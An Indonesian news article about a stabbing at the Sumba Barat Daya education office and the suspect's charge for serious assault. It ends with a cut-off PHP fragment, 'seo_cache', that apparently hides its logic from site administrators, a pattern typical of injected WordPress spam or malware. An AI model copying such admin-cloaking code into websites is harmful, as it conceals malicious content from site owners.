Kriminal

Tersangka Penikaman di Dinas P dan K Kabupaten SBD Dijerat Pasal Penganiayaan Berat

×

Tersangka Penikaman di Dinas P dan K Kabupaten SBD Dijerat Pasal Penganiayaan Berat

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Kasus penikaman dalam insiden tragis, Senin (16/06/2025) di Dinas Pendidikan dan Kebudayaan Kabupaten SBD sudah diproses secara hukum.

Kepala Satuan Reserse Kriminal Polres SBD, AKP I Ketut Ray Artika, SH. ( Foto Menara Sumba )

Pelaku yang adalah operator di SDK Ilhaloko, Kecamatan Kodi Utara berinisial EKSD sudah ditetapkan sebagai tersangka.

Kepada media ini, Kamis (26/06/2025) Kepala Satuan Reserse Kriminal Polres SBD, AKP I Ketut Ray Artika, SH menjelaskan, pelaku disangkakan dengan pasal 351 ayat (2) KUHP.

“Tersangka diancam dengan hukuman penjara paling lama lima tahun,” ujar Ray Artika.

Penganiayaan berat yang dilakukan tersangka telah menyebabkan korban mengalami luka berat.

Disebutkan Kasatreskrim, penahanan terhadap tersangka sudah dilakukan sejak tanggal 17 Juni 2025.

“Kami lakukan penahanan pertama selama 20 hari dulu, setelah itu dikirim berkas perkaranya ke kejaksaan,” tuturnya lagi.

Apabila setelah diteliti oleh jaksa berkas tersebut belum lengkap maka akan dikembalikan lagi ke penyidik.

“Jika demikian maka kami akan dalami dan teliti berkasnya hingga rampung baru dikirim lagi ke kejaksaan,” tandasnya.

Dalam keterangan pada pemberitaan sebelumnya, tersangka EKSD mengaku menikam korban karena kesal dengan urusan pencairan dana BOS yang memakan waktu lama.

Ia menikam Aloysius Lede Bora yang adalah Kepala Seksi Peningkatan Mutu dan Kurikulum SD pada Bidang Pengelolaan SD Dinas P dan K Kabupaten SBD dengan sebilah pisau pada Senin (16/06/2025) lalu.

Akibatnya, korban harus menjalani perawatan intensif di RSUD Reda Bolo karena menderita luka di lengan kanan dan lambung sebelah kanan.

Bahkan korban juga mengalami luka sobek pada usus dan menerima tiga jahitan.

Insiden tragis ini terjadi karena pelaku kesal harus bolak-balik mengurus pencairan dana BOS dan belum menerima honor selama enam bulan. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>